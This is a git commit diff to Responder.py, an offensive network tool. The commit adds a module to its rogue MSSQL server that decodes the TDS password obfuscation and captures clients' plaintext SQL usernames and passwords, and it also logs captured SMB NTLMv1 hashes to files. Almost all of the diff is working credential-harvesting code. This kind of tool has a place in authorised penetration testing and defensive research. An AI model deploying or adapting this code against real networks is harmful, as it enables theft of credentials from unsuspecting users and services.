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Added: MSSQL Plaintext module

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lgandx 2013-12-29 22:33:59 -05:00
commit 4c3a494c86
1 changed files with 48 additions and 10 deletions
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58
Responder.py
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@ -144,7 +144,7 @@ def PrintData(outfile,user):
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user, filestr.read()):
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search("\$", user):
@ -423,9 +423,9 @@ def ParseSMBHash(data,client):
UserOffset = struct.unpack('<H',data[115:117])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
outfile = os.path.join(ResponderPATH,"SMB-NTLMv1ESS-Client-"+client+".txt")
if PrintData(outfile,User+"::"+Domain):
print "[+]SMB-NTLMv1 hash captured from : ",client
outfile = os.path.join(ResponderPATH,"SMB-NTLMv1ESS-Client-"+client+".txt")
print "[+]SMB complete hash is :", writehash
WriteData(outfile,writehash,User+"::"+Domain)
logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
@ -689,6 +689,38 @@ def ParseSQLHash(data,client):
logging.warning('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
logging.warning('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = os.path.join(ResponderPATH,"MSSQL-PlainText-Password-"+client+".txt")
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
if PrintData(outfile,UserName+":"+PwdStr):
print "[+]MSSQL PlainText Password captured from :",client
print "[+]MSSQL Username: %s Password: %s"%(UserName, PwdStr)
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
logging.warning('[+]MSSQL PlainText Password captured from :%s'%(client))
logging.warning('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
@ -699,16 +731,22 @@ class MSSQL(BaseRequestHandler):
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
if data[0] == "\x10":
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])